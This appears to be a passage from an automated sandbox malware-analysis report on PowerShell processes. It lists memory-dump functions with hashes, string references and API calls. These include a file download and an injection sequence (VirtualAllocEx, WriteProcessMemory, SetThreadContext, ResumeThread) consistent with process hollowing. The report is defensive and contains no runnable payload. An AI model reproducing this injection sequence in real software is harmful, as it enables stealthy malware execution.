Function 05257A18 Relevance: 1.9, APIs: 1, Instructions: 356
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.2193243226.0000000005250000.00000040.00000800.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5250000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebf0b3157a0e0df817a4008dc88aa2334e4f93e4380a7e8333d6533b7838d138
Instruction ID: bb9525e52443aecfc69cd9776695053a893dec7ceb32e101a5480a2a640e027a
Opcode Fuzzy Hash: ebf0b3157a0e0df817a4008dc88aa2334e4f93e4380a7e8333d6533b7838d138
Instruction Fuzzy Hash: EFE13B71A10209DFCB05DF98D584A9EFBB2FF88360F188159E809AB361C735ED81CB90

Function 07D91F40 Relevance: 5.6, Strings: 4, Instructions: 586
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 07D92288
4']q, xrefs: 07D9227E
4']q, xrefs: 07D923D8
4']q, xrefs: 07D923E2

Memory Dump Source

Source File: 00000003.00000002.2202145304.0000000007D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d90000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q
API String ID: 0-1785108022
Opcode ID: d717b8d2d71070428036489bb9dce962c83a4f46ca4f5c08b8fe549e072a8624
Instruction ID: f5256206c39f63ce4eab9aaec65e93122458496e7f5be0b45df63d93dbcb4815
Opcode Fuzzy Hash: d717b8d2d71070428036489bb9dce962c83a4f46ca4f5c08b8fe549e072a8624
Instruction Fuzzy Hash: 0E1269B1704306AFCF15DB6888107AAFBA6BFD1310F1484BAD905CF245DB31E956C7A2

Function 07D94610 Relevance: 2.9, Strings: 2, Instructions: 441
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tP]q, xrefs: 07D94648
tP]q, xrefs: 07D94652

Memory Dump Source

Source File: 00000003.00000002.2202145304.0000000007D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d90000_powershell.jbxd

Similarity

API ID:
String ID: tP]q$tP]q
API String ID: 0-145478062
Opcode ID: 5441b6647c8f0a272ad4fd22991f35722af3e461b5256d7efa31f3a56c6ce242
Instruction ID: 2927f7bd2971b432160d7740d9afc1f4d5a5389864e627ad1b84aaadb5049a03
Opcode Fuzzy Hash: 5441b6647c8f0a272ad4fd22991f35722af3e461b5256d7efa31f3a56c6ce242
Instruction Fuzzy Hash: 8BF103B0B00255AFCF149F68C850B6BFBE2EFC9714F648869E8459B351DA71DC42CBA1

Function 07D904F8 Relevance: 2.7, Strings: 2, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tP]q, xrefs: 07D9058A
tP]q, xrefs: 07D9057E

Memory Dump Source

Source File: 00000003.00000002.2202145304.0000000007D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d90000_powershell.jbxd

Similarity

API ID:
String ID: tP]q$tP]q
API String ID: 0-145478062
Opcode ID: 6ea7217ea4547931b24ce607e126fa30006698bf9139c81c0852a1f6e0136c1f
Instruction ID: b4cdbe8f43f84321ab44b21eceea9c935ebe2eef80d415e8aec0ed51c2ca90cd
Opcode Fuzzy Hash: 6ea7217ea4547931b24ce607e126fa30006698bf9139c81c0852a1f6e0136c1f
Instruction Fuzzy Hash: B05166B1700325AFCB149B68A85072AFBE6EFC5B10F54882AE985DF381CA71DC05C3A1

Function 05251BF8 Relevance: 1.6, APIs: 1, Instructions: 68
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(?,00000000,00000000,?,00000001), ref: 05257E99

Memory Dump Source

Source File: 00000003.00000002.2193243226.0000000005250000.00000040.00000800.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5250000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 319efc31f72804c15d3933f89f17a85546cc0e020224dccea77967edd536ddd1
Instruction ID: 74fc878042827a154a4d5756bc891e9ada541a73c6dbb6caf726068541702753
Opcode Fuzzy Hash: 319efc31f72804c15d3933f89f17a85546cc0e020224dccea77967edd536ddd1
Instruction Fuzzy Hash: 4C2117B5D1135ADFCB04CF99D984ADEFBB4FF48720F148129E918A7210D374AA50CBA0

Function 07D945F4 Relevance: 1.5, Strings: 1, Instructions: 247
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tP]q, xrefs: 07D94648

Memory Dump Source

Source File: 00000003.00000002.2202145304.0000000007D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d90000_powershell.jbxd

Similarity

API ID:
String ID: tP]q
API String ID: 0-2175968468
Opcode ID: 3ff837ea9bd571a8b843b28b23af2f2526e46c44c950b233f6b601ca7803655b
Instruction ID: d0ce8845d2174d98e7507d236a941fdccbc4e3e044689b917e8fcef833f96b4c
Opcode Fuzzy Hash: 3ff837ea9bd571a8b843b28b23af2f2526e46c44c950b233f6b601ca7803655b
Instruction Fuzzy Hash: D091B1B0B00255AFDF14CF58C580BAAFBB2EF88714F548569E8459B352DB71EC42CB91

Function 07D91F24 Relevance: 1.4, Strings: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_, xrefs: 07D91EDF

Memory Dump Source

Source File: 00000003.00000002.2202145304.0000000007D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d90000_powershell.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: 9942f42cf70417e685448a85ccec8beb32dde5a3649d8cb1d485734a0cf663d8
Instruction ID: 37187aff0c202de894250bfcaec133f5d1ec30699fb7f477bfe232219619e77d
Opcode Fuzzy Hash: 9942f42cf70417e685448a85ccec8beb32dde5a3649d8cb1d485734a0cf663d8
Instruction Fuzzy Hash: 8C4118F1A05306DFCF60CF148D41B6AFBA2AB81314B5580B6CA05AF242D732E965C7A1

Function 04D7D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2192302843.0000000004D7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d7d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62baa1f3d56fa9528bfedea6287768f5f47fb3e79d57aa84609b379a35dd290a
Instruction ID: bb2e93348c7171c83c5e76ebc30935ac2ad717cde2d9ddbf967735449c473b02
Opcode Fuzzy Hash: 62baa1f3d56fa9528bfedea6287768f5f47fb3e79d57aa84609b379a35dd290a
Instruction Fuzzy Hash: A101DB716053449ED7208E25DD84B67BF9CFF46334F1CC569ED480B246E279E841C6B1

Function 04D7D005 Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.2192302843.0000000004D7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d7d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8121de29c2139a488b9af31b6c60a0b92de96d309a1d0aaed2260ed348ac0453
Instruction ID: 791ccc8a2a6691f81eefa1d40a43981a8fd26a21ed98fc6790ebb22d63f864f0
Opcode Fuzzy Hash: 8121de29c2139a488b9af31b6c60a0b92de96d309a1d0aaed2260ed348ac0453
Instruction Fuzzy Hash: 51015E7210E3C09FD7128B259894B52BFB8EF53224F1DC1DBD9888F2A3D2695849C772

Non-executed Functions

Function 07D915A8 Relevance: 9.2, Strings: 7, Instructions: 496COMMON

Download Yara Rule

Strings

$]q, xrefs: 07D915BA
$]q, xrefs: 07D915EC
$]q, xrefs: 07D915E0
4']q, xrefs: 07D91819
tP]q, xrefs: 07D91631
tP]q, xrefs: 07D91625
4']q, xrefs: 07D9180F

Memory Dump Source

Source File: 00000003.00000002.2202145304.0000000007D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d90000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$$]q$$]q$$]q
API String ID: 0-108373575
Opcode ID: bd32a615875d14e4ff7445dfae723ae69859beeb03f1604fad534b70d9db2729
Instruction ID: 280ba22f02c9a31db18b25c4fbc575b4285f6b18138ca085be3a5ceec9dbc368
Opcode Fuzzy Hash: bd32a615875d14e4ff7445dfae723ae69859beeb03f1604fad534b70d9db2729
Instruction Fuzzy Hash: 4BF137B1B0031B9FDF149B6898006AAFBF6EFC6214F14847AD855CF251DA32CD56C7A1

Function 07D92660 Relevance: 6.6, Strings: 5, Instructions: 374COMMON

Download Yara Rule

Strings

4']q, xrefs: 07D92839
0U]q, xrefs: 07D9267B
4']q, xrefs: 07D929E9
4']q, xrefs: 07D929F5
4']q, xrefs: 07D92845

Memory Dump Source

Source File: 00000003.00000002.2202145304.0000000007D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d90000_powershell.jbxd

Similarity

API ID:
String ID: 0U]q$4']q$4']q$4']q$4']q
API String ID: 0-2146449994
Opcode ID: fdc05159e4c66160ab431d32d86f3166c4ad47191553b1b16aafe56c1da7a335
Instruction ID: bfcb9ac0ca17d2a2bb3b5393aa43436df3673d542bbf0ab4b730e27a1eece40a
Opcode Fuzzy Hash: fdc05159e4c66160ab431d32d86f3166c4ad47191553b1b16aafe56c1da7a335
Instruction Fuzzy Hash: 36C138B1B44215AFCF14DB2D98506AAFBE6FFC5320B24807BC449CB255DA31EC46C7A2

Function 07D93550 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$]q, xrefs: 07D9357E
$]q, xrefs: 07D93562
$]q, xrefs: 07D935AC
$]q, xrefs: 07D935B8

Memory Dump Source

Source File: 00000003.00000002.2202145304.0000000007D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d90000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 01be51f192d63a5ea068a9df4b8a83b8a8239766bc83cbac0eaf91858b86b1bd
Instruction ID: ba6f94db57330674c62dce9b934b303032d57deb3250263932d716391cf91350
Opcode Fuzzy Hash: 01be51f192d63a5ea068a9df4b8a83b8a8239766bc83cbac0eaf91858b86b1bd
Instruction Fuzzy Hash: 712147B13143066BDF6895AE8840B27FBDA9BC5B15F60843A9846CB3C1CD32C842C361

Function 07D90080 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

4']q, xrefs: 07D900EB
$]q, xrefs: 07D900CA
4']q, xrefs: 07D900F7
$]q, xrefs: 07D900D6

Memory Dump Source

Source File: 00000003.00000002.2202145304.0000000007D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d90000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q
API String ID: 0-978391646
Opcode ID: b2075fdb3e89fdf7c9a9827080730499c253f7fed5bb28ffaccb4e4c909274cb
Instruction ID: a26066ef42d6d9c332f26e3229ac5ae98999c6f4255d10a331a82c93a83eb921
Opcode Fuzzy Hash: b2075fdb3e89fdf7c9a9827080730499c253f7fed5bb28ffaccb4e4c909274cb
Instruction Fuzzy Hash: 8701D46070D3C64FCB2B063C2830466AFB5AF8362032A45E7C1D5EF2A7C9248C45C3B2

Analysis Process: powershell.exePID: 1096, Parent PID: 6552COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	88.5%
Total number of Nodes:	26
Total number of Limit Nodes:	1

Executed Functions

Function 04B487D0 Relevance: 6.7, APIs: 4, Instructions: 666
memoryprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,00000000,00003000,00000040), ref: 04B48A8A
VirtualAllocEx.KERNEL32(?,00000000,00000000,00003000,00000040), ref: 04B48B2C

Part of subcall function 04B47334: WriteProcessMemory.KERNELBASE(?,00000000,00000000,18CF2514,00000000,?,?,?,00000000,00000000,?,04B48B8F,?,00000000,?), ref: 04B49404

ResumeThread.KERNELBASE(?), ref: 04B48DAF
CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 04B49114

Memory Dump Source

Source File: 00000007.00000002.2408804904.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b40000_powershell.jbxd

Similarity

API ID: AllocProcessVirtual$CreateMemoryResumeThreadWrite
String ID:
API String ID: 4270437565-0
Opcode ID: e4c16efb33809f447aa5e3e5b3922f4652a80fe2cff918d735037da4aa150d50
Instruction ID: 801ec0330a3e990b51298d1775be2b1456ffeedf98e66b446b820c1fc06925ee
Opcode Fuzzy Hash: e4c16efb33809f447aa5e3e5b3922f4652a80fe2cff918d735037da4aa150d50
Instruction Fuzzy Hash: 6F42B274A00219DFDB24EF69C854B9EB7B2EF84304F1085E9D809AB390DB35AE85DF51

Function 04B47FED Relevance: 5.6, Strings: 4, Instructions: 629
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X, xrefs: 04B48619
$]q, xrefs: 04B482CE
Xaq, xrefs: 04B482E7
=, xrefs: 04B48631

Memory Dump Source

Source File: 00000007.00000002.2408804904.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID: =$X$Xaq$$]q
API String ID: 0-4149794513
Opcode ID: 19691de3bca7037b0c3964859164b439d8dceb503bb3b03b1d918f392863a7b7
Instruction ID: b01e68c69c9ec1f3611e0d6a8377c04fc98e96783c500b511b62b3454589f81a
Opcode Fuzzy Hash: 19691de3bca7037b0c3964859164b439d8dceb503bb3b03b1d918f392863a7b7
Instruction Fuzzy Hash: 0BA19238B04218DBDB08AB78985867E7BB6FFC8710F15896DD447E7284DE38DC429792

Function 079409C8 Relevance: 14.1, Strings: 11, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 07940CA1
$]q, xrefs: 07940A86
$]q, xrefs: 07940C95
4']q, xrefs: 07940B03
$]q, xrefs: 07940C77
$]q, xrefs: 07940C83
$]q, xrefs: 07940AE8
$]q, xrefs: 07940ADC
$]q, xrefs: 07940C5B
$]q, xrefs: 07940C3F
4']q, xrefs: 07940B0F

Memory Dump Source

Source File: 00000007.00000002.2449822791.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-66262967
Opcode ID: 756cd028d0ca1518a0b20085cc431178f55bd4fa891fc8bc4d09457731fc0c52
Instruction ID: 33ed60a56a2da944c9922e7915f07dd1e1beefdc9174e304c8af7da4ce378bdd
Opcode Fuzzy Hash: 756cd028d0ca1518a0b20085cc431178f55bd4fa891fc8bc4d09457731fc0c52
Instruction Fuzzy Hash: 41C149B170430A8FDF249A7D8850F6ABBEAAFC1219F1488EACA45CB241DA75C855C761

Function 079413A0 Relevance: 12.8, Strings: 10, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0794145C
4']q, xrefs: 079414AE
$]q, xrefs: 079415EB
4']q, xrefs: 07941638
$]q, xrefs: 07941607
$]q, xrefs: 07941450
$]q, xrefs: 07941613
4']q, xrefs: 0794162C
$]q, xrefs: 079413F7
4']q, xrefs: 079414BA

Memory Dump Source

Source File: 00000007.00000002.2449822791.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-267665775
Opcode ID: 4e4cdd68c3db1bef619b8bee230a7193bea2a39f44e1892305eec4610d613803
Instruction ID: e771955e07660db07027d7eb948100ceab77c66c38385a9bc754856fca5d52c7
Opcode Fuzzy Hash: 4e4cdd68c3db1bef619b8bee230a7193bea2a39f44e1892305eec4610d613803
Instruction Fuzzy Hash: 0AB14EB174430EDFCB298F6DC850ABA7BEAEF81619F18846AD845CB251DB31C9C1C751

Function 079400F0 Relevance: 9.1, Strings: 7, Instructions: 320
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 079401B3
4']q, xrefs: 07940373
4']q, xrefs: 079401D6
4']q, xrefs: 07940367
$]q, xrefs: 0794018B
4']q, xrefs: 079401CA
$]q, xrefs: 079401A7

Memory Dump Source

Source File: 00000007.00000002.2449822791.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$$]q$$]q$$]q
API String ID: 0-3877577046
Opcode ID: 0db0840964137401979984c62b22de373cad09f6c8b6007293203bde9831a098
Instruction ID: b1bc6e7902ed3625438c69c4cba9c5475acecc3439df0a69c61f6ac173b16766
Opcode Fuzzy Hash: 0db0840964137401979984c62b22de373cad09f6c8b6007293203bde9831a098
Instruction Fuzzy Hash: 7DB128B17042069FCB249F7DC850B6ABBF9EF85318F1484FAD6458B251EB75C842C791

Function 07941F18 Relevance: 8.0, Strings: 6, Instructions: 450
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 079421A4
4']q, xrefs: 07941FF2
4']q, xrefs: 07941FFE
4']q, xrefs: 07942198
(o]q, xrefs: 07942366
(o]q, xrefs: 07942376

Memory Dump Source

Source File: 00000007.00000002.2449822791.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$4']q$4']q$4']q$4']q
API String ID: 0-3265970930
Opcode ID: 2cb2cd18b094f1b0c5143bfb9ceaf35116efebd5d82295b923ebf41f49c9cb2b
Instruction ID: dc1dc6845013a311a3091e915ddde872b6acdfa1772b37811e68813a1e51c08e
Opcode Fuzzy Hash: 2cb2cd18b094f1b0c5143bfb9ceaf35116efebd5d82295b923ebf41f49c9cb2b
Instruction Fuzzy Hash: 1CF12670B0420ADFCB18CF68D854BAABBF6FF85318F14C46AE5158B251DB31C895CBA1

Function 079409AB Relevance: 3.9, Strings: 3, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 07940A86
4']q, xrefs: 07940B03
$]q, xrefs: 07940ADC

Memory Dump Source

Source File: 00000007.00000002.2449822791.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$$]q$$]q
API String ID: 0-3019551829
Opcode ID: 0acae8efaf45b55b24011dec1810f4e7668d702358de2ee6efef81a3601bebd0
Instruction ID: 58f4cecfb0c64425c9c9d44b269bae0c0801c4a553ac435dc93e780cd7e6b387
Opcode Fuzzy Hash: 0acae8efaf45b55b24011dec1810f4e7668d702358de2ee6efef81a3601bebd0
Instruction Fuzzy Hash: F93157F26143068FDF208E2C8814F7A7BA99F8125DF1885E3DA04DB291E775C941C775

Function 07941383 Relevance: 3.8, Strings: 3, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 079414AE
$]q, xrefs: 07941450
$]q, xrefs: 079413F7

Memory Dump Source

Source File: 00000007.00000002.2449822791.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$$]q$$]q
API String ID: 0-3019551829
Opcode ID: 2b4ba893668e14977b4d65164c62fbf5b9439d7bab0c29e329083eca85098e94
Instruction ID: 12cc161f287e2c8e08774fc3143bb4b970b3ccfe9898a1f887f74640a5312bde
Opcode Fuzzy Hash: 2b4ba893668e14977b4d65164c62fbf5b9439d7bab0c29e329083eca85098e94
Instruction Fuzzy Hash: B031E8F064030EDFCB298F69C580EA57BF9AF42658F1985A6D8448B152E734C9C1CB62

Function 04B47310 Relevance: 1.7, APIs: 1, Instructions: 156
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000009,?,?,?,?,?,?,?), ref: 04B49114

Memory Dump Source

Source File: 00000007.00000002.2408804904.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b40000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 099c50ccba0b1123daabd6852907b344e7a601bb6d6f4f6868b057e485d4a0a2
Instruction ID: 6300c2b17d4bac59e30bd906666162669ede52ed8fba3d04f6125b4b6413391b
Opcode Fuzzy Hash: 099c50ccba0b1123daabd6852907b344e7a601bb6d6f4f6868b057e485d4a0a2
Instruction Fuzzy Hash: 455127B1901219DFDB24CFA9C944BDEBBB5FF48304F0080AAE909B7250D775AA84DF90

Function 04B49380 Relevance: 1.6, APIs: 1, Instructions: 66
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,00000000,00000000,18CF2514,00000000,?,?,?,00000000,00000000,?,04B48B8F,?,00000000,?), ref: 04B49404

Memory Dump Source

Source File: 00000007.00000002.2408804904.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b40000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 02964d8ec32c3a2eff774dfd403930c61382d63c0cf74c3a908f0b8503b22672
Instruction ID: 9c3b2e4e2f37b1aca0e2fdcf18f53c5262e37201e73619bbaee876692e7dc7e8
Opcode Fuzzy Hash: 02964d8ec32c3a2eff774dfd403930c61382d63c0cf74c3a908f0b8503b22672
Instruction Fuzzy Hash: EB21F8B69003099FDB10CFAAD845BDEBBF4FB49320F50842AE918A7240D378A544CBA5

Function 04B47334 Relevance: 1.6, APIs: 1, Instructions: 63
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,00000000,00000000,18CF2514,00000000,?,?,?,00000000,00000000,?,04B48B8F,?,00000000,?), ref: 04B49404

Memory Dump Source

Source File: 00000007.00000002.2408804904.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b40000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 1ad7a860d01293c28d9f53b671345298c13abbdc34c27f3aa1be798c0b962957
Instruction ID: 6116916da667599d12e37c825a87b7ac51ef59e4ce5d717f9e3596de860beb5d
Opcode Fuzzy Hash: 1ad7a860d01293c28d9f53b671345298c13abbdc34c27f3aa1be798c0b962957
Instruction Fuzzy Hash: C92107B59003499FDB10CFAAC984BDEBBF4FB49310F50846AE918B7250D378A944DBA5

Function 04B49208 Relevance: 1.6, APIs: 1, Instructions: 59
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,04B48943), ref: 04B4927B

Memory Dump Source

Source File: 00000007.00000002.2408804904.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b40000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c7142eb071df0632ca40d25ed264db986e24c935bdaa4775fb7de923335f6da0
Instruction ID: 6aaf333bfce885f6d6c20ea958108fb4cd3469c2866dbebbad63202c043d3d18
Opcode Fuzzy Hash: c7142eb071df0632ca40d25ed264db986e24c935bdaa4775fb7de923335f6da0
Instruction Fuzzy Hash: E11126B6D002498FDB10CFAAD845BDEBBF4EB88320F14806AD458B7640D378A545CFA5

Function 04B4731C Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,04B48943), ref: 04B4927B

Memory Dump Source

Source File: 00000007.00000002.2408804904.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b40000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: a08ce500adbf776556ec42bdfae04743436e677f8683e481829a185dc4714dff
Instruction ID: 21ddf7be48634b9443b3ffdbfb33b48ce1fa1ba1d9b2666398b6ffefa615ae00
Opcode Fuzzy Hash: a08ce500adbf776556ec42bdfae04743436e677f8683e481829a185dc4714dff
Instruction Fuzzy Hash: 5C1126B2D002498FDB10CFAAC844BDEBBF4EB88320F548069E458B3640D378A545CFA5

Function 04B47340 Relevance: 1.6, APIs: 1, Instructions: 57
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,04B48943), ref: 04B4927B

Memory Dump Source

Source File: 00000007.00000002.2408804904.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b40000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 03407f547a6cb966e0f7b4fae4104e464820468c59294dfc63cf59bc486e175a
Instruction ID: f5217293849e9141b8d773eca48394f276fe791100223de2971d07121b04d20f
Opcode Fuzzy Hash: 03407f547a6cb966e0f7b4fae4104e464820468c59294dfc63cf59bc486e175a
Instruction Fuzzy Hash: 871126B2D002498FDB10CFAAC844BDFBBF4EB88320F148469D458B3640D378A545CFA5

Function 07941EFB Relevance: 1.3, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 07941FF2

Memory Dump Source

Source File: 00000007.00000002.2449822791.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 4681b32eff415b0b1a2653d1d5c77db335b886197579a4f15235a78cb1415c9a
Instruction ID: 923064188973a5b6b412a0a49ce9a6e661546413de610b7582fa2d1a637fd259
Opcode Fuzzy Hash: 4681b32eff415b0b1a2653d1d5c77db335b886197579a4f15235a78cb1415c9a
Instruction Fuzzy Hash: 7B21E4B0A45206CFDB25CF69C544EA97BF5FF85218F0981E6E048CB261D775C8C6CB92

Function 07942280 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

(o]q, xrefs: 07942366

Memory Dump Source

Source File: 00000007.00000002.2449822791.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7940000_powershell.jbxd

Similarity

API ID:
String ID: (o]q
API String ID: 0-794736227
Opcode ID: be92e39d781dbd7cbe2dca6e5f2d97ed2310ba05d9d2f482acee0eed02b8b53e
Instruction ID: 425f60279b41524874434c8ff0ae5f3d470ca0a20615ec91ddb30f0b63ee6bc0
Opcode Fuzzy Hash: be92e39d781dbd7cbe2dca6e5f2d97ed2310ba05d9d2f482acee0eed02b8b53e
Instruction Fuzzy Hash: B931B1B0A0020ADFDB28CF19C844F6AB7F6FF85B09F058565F6149B190D770D894CBA1

Function 079402B0 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

4']q, xrefs: 07940367

Memory Dump Source

Source File: 00000007.00000002.2449822791.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

